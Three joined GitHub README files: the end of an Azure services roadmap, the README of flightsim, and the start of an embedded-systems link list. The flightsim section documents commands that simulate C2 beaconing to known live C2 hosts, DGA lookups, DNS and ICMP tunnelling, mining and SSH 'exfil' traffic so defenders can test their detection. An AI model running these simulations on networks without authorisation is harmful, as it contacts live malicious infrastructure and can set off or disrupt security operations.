* [**Azure IoT Edge**](https://azure.microsoft.com/en-gb/services/iot-edge/): Extend cloud intelligence and analytics to edge devices.
* [**Azure SQL Database**](https://azure.microsoft.com/en-gb/products/azure-sql/database/): Managed, intelligent SQL database in the cloud.
* [**Azure Stack**](https://azure.microsoft.com/en-gb/overview/azure-stack/): Build and run innovative hybrid apps across cloud boundaries.
* [**Azure Stack HCI**](https://azure.microsoft.com/en-gb/products/azure-stack/hci/): Run your production workloads anywhere on hybrid, familiar hyperconverged infrastructure.
* [**Azure Stack Edge**](https://azure.microsoft.com/en-gb/products/azure-stack/edge/): An Azure managed device that brings the compute, storage, and intelligence of Azure to the edge.
## [**Identity**](https://azure.microsoft.com/en-gb/products/category/identity/)
### Manage user identities and access to protect against advanced threats across devices, data, apps and infrastructure
* [**Azure Active Directory (Azure AD)**](https://azure.microsoft.com/en-gb/services/active-directory/): Synchronise on-premises directories and enable single sign-on.
* [**Azure Information Protection**](https://azure.microsoft.com/en-gb/services/information-protection/): Better protect your sensitive information—anytime, anywhere.
* [**Azure Active Directory Domain Services**](https://azure.microsoft.com/en-gb/services/active-directory-ds/): Join Azure virtual machines to a domain without domain controllers .
* [**Azure Active Directory External Identities**](https://azure.microsoft.com/en-gb/services/active-directory/external-identities/): Consumer identity and access management in the cloud.
## [**Integration**](https://azure.microsoft.com/en-gb/products/category/integration/)
### Seamlessly integrate on-premises and cloud-based applications, data and processes across your enterprise
* [**API Management**](https://azure.microsoft.com/en-gb/services/api-management/): Publish APIs to developers, partners, and employees securely and at scale.
* [**Event Grid**](https://azure.microsoft.com/en-gb/services/event-grid/): Reliable event delivery at massive scale.
* [**Service Bus**](https://azure.microsoft.com/en-gb/services/service-bus/): Connect across private and public cloud environments.
* [**Azure Health Data Services**](https://azure.microsoft.com/en-gb/services/healthcare-apis/): Unify and manage health data and protected health information (PHI) in the cloud.
* [**Logic Apps**](https://azure.microsoft.com/en-gb/services/logic-apps/): Automate the access and use of data across clouds.
* [**Azure web PubSub**](https://azure.microsoft.com/en-gb/services/web-pubsub/): Easily build real-time messaging web applications using WebSockets and the publish-subscribe pattern.
## [**Internet of Things**](https://azure.microsoft.com/en-gb/overview/iot/)
### Bring IoT to any device and any platform, without changing your infrastructure
* [**API Management**](https://azure.microsoft.com/en-gb/services/api-management/): Publish APIs to developers, partners, and employees securely and at scale.
* [**Azure Digital Twins**](https://azure.microsoft.com/en-gb/services/digital-twins/): Use IoT spatial intelligence to create models of physical environments.
* [**Azure IoT Edge**](https://azure.microsoft.com/en-gb/services/iot-edge/): Extend cloud intelligence and analytics to edge devices.
* [**Azure Machine Learning**](https://azure.microsoft.com/en-gb/services/machine-learning/): Use an enterprise-grade service for the end-to-end machine learning lifecycle.
* [**Azure RTOS**](https://azure.microsoft.com/en-gb/services/rtos/): Making embedded IoT development and connectivity easy.
* [**Azure SQL Edge**](https://azure.microsoft.com/en-gb/products/azure-sql/edge/): Small-footprint, edge-optimised SQL database engine with built-in AI.
* [**Azure Time Series Insights**](https://azure.microsoft.com/en-gb/services/time-series-insights/): Visualise IoT data in real time.
* [**Kinect DK**](https://azure.microsoft.com/en-gb/services/kinect-dk/): Build computer vision and speech models using a developer kit with advanced AI sensors.
* [**Notification Hubs**](https://azure.microsoft.com/en-gb/services/notification-hubs/): Send push notifications to any platform from any back-end.
* [**Azure Defender for IoT**](https://azure.microsoft.com/en-gb/services/azure-defender-for-iot/): Unified threat protection for all your IoT/OT devices.
* [**Windows for IoT**](https://azure.microsoft.com/en-gb/services/windows-iot/): Build intelligent edge solutions with world-class developer tools, long-term support and enterprise-grade security..
* [**Azure Cosmos DB**](https://azure.microsoft.com/en-gb/services/cosmos-db/): Fast NoSQL database with open APIs for any scale.
* [**Azure IoT Central**](https://azure.microsoft.com/en-gb/services/iot-central/): Go from proof of concept to proof of value.
* [**Azure IoT Hub**](https://azure.microsoft.com/en-gb/services/iot-hub/): Connect, monitor and manage billions of IoT assets.
* [**Azure Maps**](https://azure.microsoft.com/en-gb/services/azure-maps/): Add location data and mapping visuals to business applications and solutions.
* [**Azure Sphere**](https://azure.microsoft.com/en-gb/services/azure-sphere/): Create, connect, and maintain secured intelligent IoT devices from the edge to the cloud.
* [**Azure Stream Analytics**](https://azure.microsoft.com/en-gb/services/stream-analytics/): Real-time analytics on fast-moving streaming data.
* [**Event Grid**](https://azure.microsoft.com/en-gb/services/event-grid/): Reliable event delivery at massive scale.
* [**Logic Apps**](https://azure.microsoft.com/en-gb/services/logic-apps/): Automate the access and use of data across clouds.
* [**Windows 10 IoT Core Services**](https://azure.microsoft.com/en-gb/services/windows-10-iot-core/): Long-term OS support and services to manage device updates and assess device health.
* [**Azure Percept <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/azure-percept/): Accelerate edge intelligence from silicon to service.
* [**Azure functions**](https://azure.microsoft.com/en-gb/services/functions/): Execute event-driven serverless code functions with an end-to-end development experience.
## [**Management and Governance**](https://azure.microsoft.com/en-gb/products/category/management/)
### Simplify, automate and optimise the management and compliance of your cloud resources
* [**Automation**](https://azure.microsoft.com/en-gb/services/automation/): Simplify cloud management with process automation.
* [**Azure Backup**](https://azure.microsoft.com/en-gb/services/backup/): Simplify data protection and protect against ransomware.
* [**Azure Lighthouse**](https://azure.microsoft.com/en-gb/services/azure-lighthouse/): Empowering service providers to manage customers at scale and with precision.
* [**Azure Migrate**](https://azure.microsoft.com/en-gb/services/azure-migrate/): Simplify migration and modernisation with a unified platform.
* [**Azure Monitor**](https://azure.microsoft.com/en-gb/services/monitor/): Full observability into your apps, infrastructure and network.
* [**Azure Resource Manager**](https://azure.microsoft.com/en-gb/features/resource-manager/): Simplify how you manage your app resources.
* [**Azure Service Health**](https://azure.microsoft.com/en-gb/features/service-health/): Personalised guidance and support for when issues in Azure services affect you.
* [**Cloud Shell**](https://azure.microsoft.com/en-gb/features/cloud-shell/): Streamline Azure administration with a browser-based shell.
* [**Microsoft Azure portal**](https://azure.microsoft.com/en-gb/features/azure-portal/): Build, manage, and monitor all Azure products in a single, unified console.
* [**Traffic Manager**](https://azure.microsoft.com/en-gb/services/traffic-manager/): Route incoming traffic for high performance and availability.
* [**Azure Resource Mover**](https://azure.microsoft.com/en-gb/services/resource-mover/): Simplify how you move multiple resources between Azure regions.
* [**Azure Chaos Studio <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/chaos-studio/): Improve application resilience by introducing faults and simulating outages.
* [**Update management centre <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/azure-update-management-center/): Centrally manage updates and compliance at scale.
* [**Azure Advisor**](https://azure.microsoft.com/en-gb/services/advisor/): Your personalised Azure best practices recommendation engine.
* [**Azure Blueprints <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/blueprints/): Enabling quick, repeatable creation of governed environments.
* [**Azure Managed Applications**](https://azure.microsoft.com/en-gb/services/managed-applications/): Simplify management of cloud offerings.
* [**Azure mobile app**](https://azure.microsoft.com/en-gb/features/azure-portal/mobile-app/): Stay connected to your Azure resources—anytime, anywhere.
* [**Azure Policy**](https://azure.microsoft.com/en-gb/services/azure-policy/): Implement corporate governance and standards at scale.
* [**Azure Resource Manager templates**](https://azure.microsoft.com/en-gb/services/arm-templates/): Deliver infrastructure as code for all your Azure resources using Resource Manager.
* [**Azure Site Recovery**](https://azure.microsoft.com/en-gb/services/site-recovery/): Keep your business running with built-in disaster recovery service.
* [**Microsoft Cost Management**](https://azure.microsoft.com/en-gb/services/cost-management/): Monitor, allocate and optimise cloud costs with transparency, accuracy and efficiency using Microsoft Cost Management.
* [**Network Watcher**](https://azure.microsoft.com/en-gb/services/network-watcher/): Network performance monitoring and diagnostics solution.
* [**Azure Automanage <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/azure-automanage/): Simplify and optimise IT management with automated operations.
* [**Microsoft Purview**](https://azure.microsoft.com/en-gb/services/purview/): Govern, protect, and manage your data estate.
* [**Azure Managed Grafana <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/managed-grafana/): Deploy Grafana dashboards as a fully managed Azure service.
## **Media**
### Deliver high-quality video content anywhere, at any time and on any device
* [**Azure Media Player**](https://azure.microsoft.com/en-gb/services/media-services/media-player/): A single player for all your playback needs.
* [**Content Protection**](https://azure.microsoft.com/en-gb/services/media-services/content-protection/): Securely deliver content using AES, PlayReady, Widevine, and Fairplay.
* [**Live and On-Demand Streaming**](https://azure.microsoft.com/en-gb/services/media-services/live-on-demand/): Deliver content to virtually all devices with ability to scale.
* [**Content Delivery Network**](https://azure.microsoft.com/en-gb/services/cdn/): Fast, reliable content delivery network with global reach.
* [**Encoding**](https://azure.microsoft.com/en-gb/services/media-services/encoding/): Studio grade encoding at cloud scale.
* [**Media Services**](https://azure.microsoft.com/en-gb/services/media-services/): Encode, store and stream video and audio at scale.
## [**Migration**](https://azure.microsoft.com/en-gb/migration/)
### Simplify and accelerate your migration to the cloud with guidance, tools and resources
* [**Azure Database Migration Service**](https://azure.microsoft.com/en-gb/services/database-migration/): Accelerate your data migration to Azure.
* [**Azure Site Recovery**](https://azure.microsoft.com/en-gb/services/site-recovery/): Keep your business running with built-in disaster recovery service.
* [**Azure Data Box**](https://azure.microsoft.com/en-gb/services/databox/): Appliances and solutions for data transfer to Azure and edge compute.
* [**Azure Migrate**](https://azure.microsoft.com/en-gb/services/azure-migrate/): Simplify migration and modernisation with a unified platform.
* [**Microsoft Cost Management**](https://azure.microsoft.com/en-gb/services/cost-management/): Monitor, allocate and optimise cloud costs with transparency, accuracy and efficiency using Microsoft Cost Management.
## [**Mixed Reality**](https://azure.microsoft.com/en-gb/topic/mixed-reality/)
### Blend your physical and digital worlds to create immersive, collaborative experiences
* [**Azure Digital Twins**](https://azure.microsoft.com/en-gb/services/digital-twins/): Use IoT spatial intelligence to create models of physical environments.
* [**Remote Rendering**](https://azure.microsoft.com/en-gb/services/remote-rendering/): Render high-quality, interactive 3D content with real-time streaming.
* [**Object Anchors <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/object-anchors/): Automatically align and anchor 3D content to objects in the physical world.
* [**Kinect DK**](https://azure.microsoft.com/en-gb/services/kinect-dk/): Build computer vision and speech models using a developer kit with advanced AI sensors.
* [**Spatial Anchors**](https://azure.microsoft.com/en-gb/services/spatial-anchors/): Create multi-user, spatially aware mixed reality experiences.
## [**Mobile**](https://azure.microsoft.com/en-gb/products/category/mobile/)
### Build and deploy cross-platform and native apps for any mobile device
* [**API Management**](https://azure.microsoft.com/en-gb/services/api-management/): Publish APIs to developers, partners, and employees securely and at scale.
* [**App Service**](https://azure.microsoft.com/en-gb/services/app-service/): Quickly create powerful cloud apps for web and mobile.
* [**Azure Maps**](https://azure.microsoft.com/en-gb/services/azure-maps/): Add location data and mapping visuals to business applications and solutions.
* [**Notification Hubs**](https://azure.microsoft.com/en-gb/services/notification-hubs/): Send push notifications to any platform from any back-end.
* [**Visual Studio App Centre**](https://azure.microsoft.com/en-gb/services/app-center/): Build, test, release, and monitor your mobile and desktop apps.
* [**Azure Communication Services**](https://azure.microsoft.com/en-gb/services/communication-services/): Build rich communication experiences with the same secure platform capabilities used by Microsoft Teams.
* [**App Configuration**](https://azure.microsoft.com/en-gb/services/app-configuration/): Fast, scalable parameter storage for app configuration.
* [**Azure Cognitive Search**](https://azure.microsoft.com/en-gb/services/search/): Enterprise scale search for app development.
* [**Azure Cognitive Services**](https://azure.microsoft.com/en-gb/services/cognitive-services/): Deploy high-quality AI models as APIs.
* [**Spatial Anchors**](https://azure.microsoft.com/en-gb/services/spatial-anchors/): Create multi-user, spatially aware mixed reality experiences.
* [**Xamarin**](https://azure.microsoft.com/en-gb/features/xamarin/): Create cloud-powered mobile apps faster.
## [**Networking**](https://azure.microsoft.com/en-gb/products/category/networking/)
### Connect cloud and on-premises infrastructure and services, to provide your customers and users with the best possible experience
* [**Application Gateway**](https://azure.microsoft.com/en-gb/services/application-gateway/): Build secure, scalable, highly available web front ends in Azure.
* [**Azure DDoS Protection**](https://azure.microsoft.com/en-gb/services/ddos-protection/): Protect your Azure resources from distributed denial-of-service (DDoS) attacks.
* [**Azure ExpressRoute**](https://azure.microsoft.com/en-gb/services/expressroute/): Dedicated private-network fibre connections to Azure.
* [**Load Balancer**](https://azure.microsoft.com/en-gb/products/azure-load-balancing/): Deliver high availability and network performance to your apps.
* [**Azure Front Door**](https://azure.microsoft.com/en-gb/services/frontdoor/): Modern cloud CDN that delivers optimised experiences to your users anywhere.
* [**Azure Private Link**](https://azure.microsoft.com/en-gb/services/private-link/): Private access to services hosted on the Azure platform, keeping your data on the Microsoft network.
* [**Network Watcher**](https://azure.microsoft.com/en-gb/services/network-watcher/): Network performance monitoring and diagnostics solution.
* [**Virtual Network**](https://azure.microsoft.com/en-gb/services/virtual-network/): infrastructure in the cloud.
* [**VPN Gateway**](https://azure.microsoft.com/en-gb/services/vpn-gateway/): Establish secure, cross-premises connectivity.
* [**Azure Orbital <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/orbital/): Satellite ground station and scheduling services for fast downlinking of data.
* [**Azure Network Function Manager**](https://azure.microsoft.com/en-gb/products/azure-network-function-manager/): Extend Azure management for deploying 5G and SD-WAN network functions on edge devices.
* [**Azure Private 5G Core <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/private-5g-core/): Rapidly deploy and manage private 5G networks at the enterprise edge.
* [**Azure Bastion**](https://azure.microsoft.com/en-gb/services/azure-bastion/): Fully managed service that helps secure remote access to your virtual machines.
* [**Azure DNS**](https://azure.microsoft.com/en-gb/services/dns/): Host your Domain Name System (DNS) domain in Azure.
* [**Azure Firewall**](https://azure.microsoft.com/en-gb/services/azure-firewall/): Cloud-native and intelligent network firewall security.
* [**Azure Firewall Manager**](https://azure.microsoft.com/en-gb/services/firewall-manager/): Central network security policy and route management for globally distributed, software-defined perimeters.
* [**Azure Internet Analyser <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/internet-analyzer/): Test how networking infrastructure changes will impact your customers' performance..
* [**Content Delivery Network**](https://azure.microsoft.com/en-gb/services/cdn/): Fast, reliable content delivery network with global reach.
* [**Traffic Manager**](https://azure.microsoft.com/en-gb/services/traffic-manager/): Route incoming traffic for high performance and availability.
* [**Virtual WAN**](https://azure.microsoft.com/en-gb/services/virtual-wan/): Optimise and automate branch-to-branch connectivity through Azure.
* [**Web Application Firewall**](https://azure.microsoft.com/en-gb/services/web-application-firewall/): A cloud-native web application firewall (WAF) service that provides powerful protection for web apps.
* [**Azure Route Server**](https://azure.microsoft.com/en-gb/services/route-server/): Enable network appliances to exchange routes dynamically with virtual networks in Azure.
* [**Azure Virtual Network Manager <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/virtual-network-manager/): Centrally manage virtual networks in Azure from a single pane of glass.
## [**Security**](https://azure.microsoft.com/en-gb/products/category/security/)
### Protect your enterprise from advanced threats across hybrid cloud workloads
* [**App Configuration**](https://azure.microsoft.com/en-gb/services/app-configuration/): Fast, scalable parameter storage for app configuration.
* [**Azure Active Directory (Azure AD)**](https://azure.microsoft.com/en-gb/services/active-directory/): Synchronise on-premises directories and enable single sign-on.
* [**Microsoft Defender for Cloud**](https://azure.microsoft.com/en-gb/services/defender-for-cloud/): Protect your multi-cloud and hybrid environments.
* [**Azure DDoS Protection**](https://azure.microsoft.com/en-gb/services/ddos-protection/): Protect your Azure resources from distributed denial-of-service (DDoS) attacks.
* [**Azure Firewall**](https://azure.microsoft.com/en-gb/services/azure-firewall/): Cloud-native and intelligent network firewall security.
* [**Azure Front Door**](https://azure.microsoft.com/en-gb/services/frontdoor/): Modern cloud CDN that delivers optimised experiences to your users anywhere.
* [**Azure Sentinel**](https://azure.microsoft.com/en-gb/services/microsoft-sentinel/): Put cloud-native SIEM and intelligent security analytics to work to help protect your enterprise.
* [**Security Center**](https://azure.microsoft.com/en-gb/services/security-center/): Unify security management and enable advanced threat protection across hybrid cloud workloads.
* [**Web Application Firewall**](https://azure.microsoft.com/en-gb/services/web-application-firewall/): A cloud-native web application firewall (WAF) service that provides powerful protection for web apps.
* [**Microsoft Azure Attestation**](https://azure.microsoft.com/en-gb/services/azure-attestation/): A unified solution for remotely verifying the trustworthiness of a platform and integrity of the binaries running inside it.
* [**Application Gateway**](https://azure.microsoft.com/en-gb/services/application-gateway/): Build secure, scalable, highly available web front ends in Azure.
* [**Azure Active Directory Domain Services**](https://azure.microsoft.com/en-gb/services/active-directory-ds/): Join Azure virtual machines to a domain without domain controllers.
* [**Azure Bastion**](https://azure.microsoft.com/en-gb/services/azure-bastion/): Fully managed service that helps secure remote access to your virtual machines.
* [**Azure Dedicated HSM**](https://azure.microsoft.com/en-gb/services/azure-dedicated-hsm/): Manage hardware security modules that you use in the cloud.
* [**Azure Firewall Manager**](https://azure.microsoft.com/en-gb/services/firewall-manager/): Central network security policy and route management for globally distributed, software-defined perimeters.
* [**Azure Information Protection**](https://azure.microsoft.com/en-gb/services/information-protection/): Better protect your sensitive information—anytime, anywhere.
* [**Key Vault**](https://azure.microsoft.com/en-gb/services/key-vault/): Safeguard and maintain control of keys and other secrets.
* [**VPN Gateway**](https://azure.microsoft.com/en-gb/services/vpn-gateway/): Establish secure, cross-premises connectivity.
* [**Azure Defender for IoT**](https://azure.microsoft.com/en-gb/services/azure-defender-for-iot/): Unified threat protection for all your IoT/OT devices.
* [**Azure Confidential Ledger**](https://azure.microsoft.com/en-gb/services/azure-confidential-ledger/): Tamperproof, unstructured data store hosted in trusted execution environments (TEEs) and backed by cryptographically verifiable evidence.
## [**Storage**](https://azure.microsoft.com/en-gb/products/category/storage/)
### Get secure, massively scalable cloud storage for your data, apps and workloads
* [**Archive Storage**](https://azure.microsoft.com/en-gb/services/storage/archive/): Industry-leading price point for storing rarely accessed data.
* [**Azure Backup**](https://azure.microsoft.com/en-gb/services/backup/): Simplify data protection and protect against ransomware.
* [**Azure Data Lake Storage Gen1**](https://azure.microsoft.com/en-gb/services/storage/data-lake-storage/): Hyperscale repository for big data analytics workloads.
* [**Azure Files**](https://azure.microsoft.com/en-gb/services/storage/files/): Simple, secure and serverless enterprise-grade cloud file shares.
* [**Azure NetApp Files**](https://azure.microsoft.com/en-gb/services/netapp/): Enterprise-grade Azure file shares, powered by NetApp.
* [**Azure Data Box**](https://azure.microsoft.com/en-gb/services/databox/): Appliances and solutions for data transfer to Azure and edge compute.
* [**Queue Storage**](https://azure.microsoft.com/en-gb/services/storage/queues/): Effectively scale apps according to traffic.
* [**Storage Explorer**](https://azure.microsoft.com/en-gb/features/storage-explorer/): View and interact with Azure Storage resources.
* [**Azure Confidential Ledger**](https://azure.microsoft.com/en-gb/services/azure-confidential-ledger/): Tamperproof, unstructured data store hosted in trusted execution environments (TEEs) and backed by cryptographically verifiable evidence.
* [**Avere vFXT for Azure**](https://azure.microsoft.com/en-gb/services/storage/avere-vfxt/): Run high-performance, file-based workloads in the cloud.
* [**Azure Data Lake Storage**](https://azure.microsoft.com/en-gb/services/storage/data-lake-storage/): Scalable, secure data lake for high-performance analytics.
* [**Azure Data Share**](https://azure.microsoft.com/en-gb/services/data-share/): A simple and safe service for sharing big data with external organisations.
* [**Azure HPC Cache**](https://azure.microsoft.com/en-gb/services/hpc-cache/): File caching for high-performance computing (HPC).
* [**Azure Blob Storage**](https://azure.microsoft.com/en-gb/services/storage/blobs/): Massively scalable and secure object storage.
* [**Azure Disk Storage**](https://azure.microsoft.com/en-gb/services/storage/disks/): High-performance, highly durable block storage.
* [**Storage Accounts**](https://azure.microsoft.com/en-gb/services/storage/): Durable, highly available, and massively scalable cloud storage.
* [**StorSimple**](https://azure.microsoft.com/en-gb/services/storsimple/): Lower costs with an enterprise hybrid cloud storage solution.
## [**Web**](https://azure.microsoft.com/en-gb/products/category/web/)
### Build, deploy and scale powerful web applications quickly and efficiently
* [**API Management**](https://azure.microsoft.com/en-gb/services/api-management/): Publish APIs to developers, partners, and employees securely and at scale.
* [**App Service**](https://azure.microsoft.com/en-gb/services/app-service/): Quickly create powerful cloud apps for web and mobile.
* [**Azure Maps**](https://azure.microsoft.com/en-gb/services/azure-maps/): Add location data and mapping visuals to business applications and solutions.
* [**Content Delivery Network**](https://azure.microsoft.com/en-gb/services/cdn/): Fast, reliable content delivery network with global reach.
* [**Static Web Apps**](https://azure.microsoft.com/en-gb/services/app-service/static/): A modern web app service that offers streamlined full-stack development from source code to global high availability.
* [**Azure web PubSub**](https://azure.microsoft.com/en-gb/services/web-pubsub/): Easily build real-time messaging web applications using WebSockets and the publish-subscribe pattern.
* [**Web App for Containers**](https://azure.microsoft.com/en-gb/services/app-service/containers/): Easily deploy and run containerised web apps on Windows and Linux.
* [**App Configuration**](https://azure.microsoft.com/en-gb/services/app-configuration/): Fast, scalable parameter storage for app configuration.
* [**Azure Cognitive Search**](https://azure.microsoft.com/en-gb/services/search/): Enterprise scale search for app development.
* [**Azure SignalR Service**](https://azure.microsoft.com/en-gb/services/signalr-service/): Add real-time web functionalities easily.
* [**Notification Hubs**](https://azure.microsoft.com/en-gb/services/notification-hubs/): Send push notifications to any platform from any back-end.
* [**Azure Communication Services**](https://azure.microsoft.com/en-gb/services/communication-services/): uild rich communication experiences with the same secure platform capabilities used by Microsoft Teams.
* [**Azure Fluid Relay <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/fluid-relay/): Easily add real-time collaborative experiences to your apps with Fluid Framework.
## **Windows Virtual Desktop**
### The best virtual desktop experience – delivered on Azure
* [**Azure Lab Services**](https://azure.microsoft.com/en-gb/services/lab-services/): Set up labs for education, training, and other related scenarios.
* [**VMware Horizon Cloud on Microsoft Azure**](https://azure.microsoft.com/en-gb/services/virtual-desktop/vmware-horizon-cloud/): Provision Windows desktops and apps with VMware and Azure Virtual Desktop.
* [**Azure Virtual Desktop**](https://azure.microsoft.com/en-gb/services/virtual-desktop/): Enable a secure, remote desktop experience from anywhere.
* [**Citrix Virtual Apps and Desktops for Azure**](https://azure.microsoft.com/en-gb/services/virtual-desktop/citrix-virtual-apps-desktops-for-azure/): Provision Windows desktops and apps on Azure with Citrix and Azure Virtual Desktop.
### Additional Resources
* [**Awesome Azure - A Curated List of Azure Resources**](https://github.com/kristofferandreasen/awesome-azure).
* [**Awesome Azure Architecture**](https://github.com/lukemurraynz/awesome-azure-architecture).
* [**Awesome Azure SQL resources**](https://github.com/yorek/awesome-azure-sql).
## Wrap Up
If you think the roadmap can be improved, please do open a PR with any updates and submit any issues. Also, I will continue to improve this, so you might want to star this repository to revisit.
## Contribution
- Open a pull request with improvements
- Discuss ideas in issues
- Spread the word
## License
[](https://creativecommons.org/licenses/by/4.0/)
## Authors
- [Dr. Milan Milanović](https://milan.milanovic.org) - CTO at [3MD](https://3mdinc.com).
|
# Network Flight Simulator
**flightsim** is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility. The tool performs tests to simulate DNS tunneling, DGA traffic, requests to known active C2 destinations, and other suspicious traffic patterns.
## Installation
Download the latest flightsim binary for your OS from the [GitHub Releases](https://github.com/alphasoc/flightsim/releases) page. Alternatively, the utility can be built using [Golang](https://golang.org/doc/install) in any environment (e.g. Linux, MacOS, Windows), as follows:
```
go get -u github.com/alphasoc/flightsim/...
```
## Running Network Flight Simulator
Upon installation, test flightsim as follows:
```
$ flightsim --help
AlphaSOC Network Flight Simulator™ (https://github.com/alphasoc/flightsim)
flightsim is an application which generates malicious network traffic for security
teams to evaluate security controls (e.g. firewalls) and ensure that monitoring tools
are able to detect malicious traffic.
Usage:
flightsim <command> [arguments]
Available commands:
get Get a list of elements (ie. families) of a certain category (ie. c2)
run Run all modules, or a particular module
version Prints the version number
Cheatsheet:
flightsim run Run all the modules
flightsim run c2 Simulate C2 traffic
flightsim run c2:trickbot Simulate C2 traffic for the TrickBot family
flightsim run ssh-transfer:1GB Simulate a 1GB SSH/SFTP file transfer
flightsim get families:c2 Get a list of all c2 families
```
The utility runs individual modules to generate malicious traffic. To perform all available tests, simply use `flightsim run` which will generate traffic using the first available non-loopback network interface. **Note:** when running many modules, flightsim will gather destination addresses from the AlphaSOC API, so requires egress Internet access.
To list the available modules, use `flightsim run --help`. To execute a particular test, use `flightsim run <module>`, as below.
```
$ flightsim run --help
usage: flightsim run [flags] [modules]
To run all available modules, call:
flightsim run
To run a specific module:
flightsim run c2
Available modules:
c2, dga, imposter, miner, scan, sink, spambot, ssh-exfil, ssh-transfer, tunnel-dns, tunnel-icmp
Available flags:
-dry
print actions without performing any network activity
-fast
reduce sleep intervals between simulation events
-iface string
network interface or local IP address to use
-size int
number of hosts generated for each simulator
$ flightsim run dga
AlphaSOC Network Flight Simulator™ (https://github.com/alphasoc/flightsim)
The address of the network interface for IP traffic is 192.168.220.38
The address of the network interface for DNS queries is 192.168.220.38
The current time is 26-Oct-21 17:28:51
17:28:51 [dga] Generating a list of DGA domains
17:28:51 [dga] Resolving 6kauziij.com
17:28:52 [dga] Resolving paxeo0jk.biz
17:28:53 [dga] Resolving iuuub8al.biz
17:28:54 [dga] Resolving bxsei3nj.com
17:28:55 [dga] Resolving zbwltf1h.space
17:28:56 [dga] Resolving yoze7avi.com
17:28:57 [dga] Resolving ijax8aqw.space
17:28:58 [dga] Resolving wwrjyj4l.space
17:28:59 [dga] Resolving uioc5hky.com
17:29:00 [dga] Resolving lcwdji5t.biz
17:29:01 [dga] Resolving zluwcb4h.biz
17:29:02 [dga] Resolving 8jodcvhj.space
17:29:03 [dga] Resolving ju5haxur.com
17:29:04 [dga] Resolving ivthu2dl.biz
17:29:05 [dga] Resolving ha0bsxft.com
17:29:05 [dga] Done (15/15)
All done! Check your SIEM for alerts using the timestamps and details above.
```
The utility also has a `get` command which can be used to query information that can later be used with the simulation modules. At present, a list of C2 families can be obtained to be used with the C2 module. To see how to use the `get` command, run `flightsim get -h` as below.
```
$ flightsim get -h
AlphaSOC Network Flight Simulator™ (https://github.com/alphasoc/flightsim)
The current time is 26-Oct-21 17:42:23
usage: flightsim get [flags] element:category
Available elements:
families
Available categories:
c2
Available flags:
```
To get a list of C2 families, run:
```
$ flightsim get families:c2
AlphaSOC Network Flight Simulator™ (https://github.com/alphasoc/flightsim)
The current time is 16-Nov-21 11:16:51
11:16:51 [families:c2] Fetching c2 families
11:16:55 [families:c2] Adwind, Agent Tesla, Amadey, AsyncRAT, AZORult, BASHLITE, BazarBackdoor, BlackNET RAT, Cobalt Strike, Collector Stealer, CryptBot, DarkComet, DiamondFox, Dridex, Emotet, Gozi, IcedID, Kimsuky, KPOT Stealer, LokiBot, Mirai, NanoCore RAT, njRAT, Oski Stealer, Pony, Predator the Thief, Quakbot, RedLine, RedLine Stealer, Remcos RAT, Smoke Loader, Taurus, TrickBot, XtremeRAT, Zloader
11:16:55 [families:c2] Fetched 35 c2 families
All done!
```
## Description of Modules
The modules packaged with the utility are listed in the table below.
| Module | Description |
| ------------- | -------------------------------------------------------------------------------- |
| `c2` | Generates both DNS and IP traffic to a random list of known C2 destinations |
| `cleartext` | Generates random cleartext traffic to an Internet service operated by AlphaSOC |
| `dga` | Simulates DGA traffic using random labels and top-level domains |
| `imposter` | Generates DNS traffic to a list of imposter domains |
| `irc` | Connects to a random list of public IRC servers |
| `miner` | Generates Stratum mining protocol traffic to known cryptomining pools |
| `oast` | Simulates out-of-band application security testing (OAST) traffic |
| `scan` | Performs a port scan of random RFC 5737 addresses using common TCP ports |
| `sink` | Connects to known sinkholed destinations run by security researchers |
| `spambot` | Resolves and connects to random Internet SMTP servers to simulate a spam bot |
| `ssh-exfil` | Simulates an SSH file transfer to a service running on a non-standard SSH port |
| `ssh-transfer`| Simulates an SSH file transfer to a service running on an SSH port |
| `telegram-bot`| Generates Telegram Bot API traffic using a random or provided token |
| `tunnel-dns` | Generates DNS tunneling requests to \*.sandbox.alphasoc.xyz |
| `tunnel-icmp` | Generates ICMP tunneling traffic to an Internet service operated by AlphaSOC |
|
# Awesome-Embedded
A curated list of awesome embedded resource.
Table of content
- [Awesome-Embedded](#awesome-embedded)
- [Interview](#interview)
- [Embedded Software Skill](#embedded-software-skill)
- [Common](#common)
- [MCU programming](#mcu-programming)
- [Bare-metal programming (Don't need MCU)](#bare-metal-programming-dont-need-mcu)
- [MSP430](#msp430)
- [TM4C123](#tm4c123)
- [MSP432](#msp432)
- [STM32](#stm32)
- [STM32F7](#stm32f7)
- [STM8](#stm8)
- [ESP8266](#esp8266)
- [Raspberry](#raspberry)
- [Beaglebone](#beaglebone)
- [Linux Kernel and device driver development](#linux-kernel-and-device-driver-development)
- [Assembly](#assembly)
- [RTOS](#rtos)
- [Automotive](#automotive)
- [OS](#os)
- [WindowCE](#windowce)
- [Compiler](#compiler)
- [Bootloader](#bootloader)
- [Makefile](#makefile)
- [Peripheral](#peripheral)
- [Memory Protection Unit](#memory-protection-unit)
- [USB](#usb)
- [Others](#others)
- [Embedded GUI Development](#embedded-gui-development)
- [Machine Learning & AI on MCU](#machine-learning--ai-on-mcu)
- [Utilities](#utilities)
- [Tips & tricks](#tips--tricks)
- [Tech blogs](#tech-blogs)
- [FAQ_Embedded](#faqembedded)
- [Looking for more lists like this?](#looking-for-more-lists-like-this)
- [BOOKs](#books)
## Interview
* [Questions which are frequently asked in an interview.](https://github.com/Embedded-Systems-Guide/interview-questions)
> On the way to be a full-stack embedded software engineer.
* [coding-interview-university](https://github.com/nhivp/coding-interview-university) - A complete computer science study plan to become a software engineer.
## Embedded Software Skill
* [Skills/Knowledge required to become a champion Embedded Software Developer.](https://github.com/Embedded-Systems-Guide/embedded-software-skills)
* [How to be low-level programmer](https://github.com/gurugio/lowlevelprogramming-university)
* [Programmer Competency Matrix](http://sijinjoseph.com/programmer-competency-matrix/)
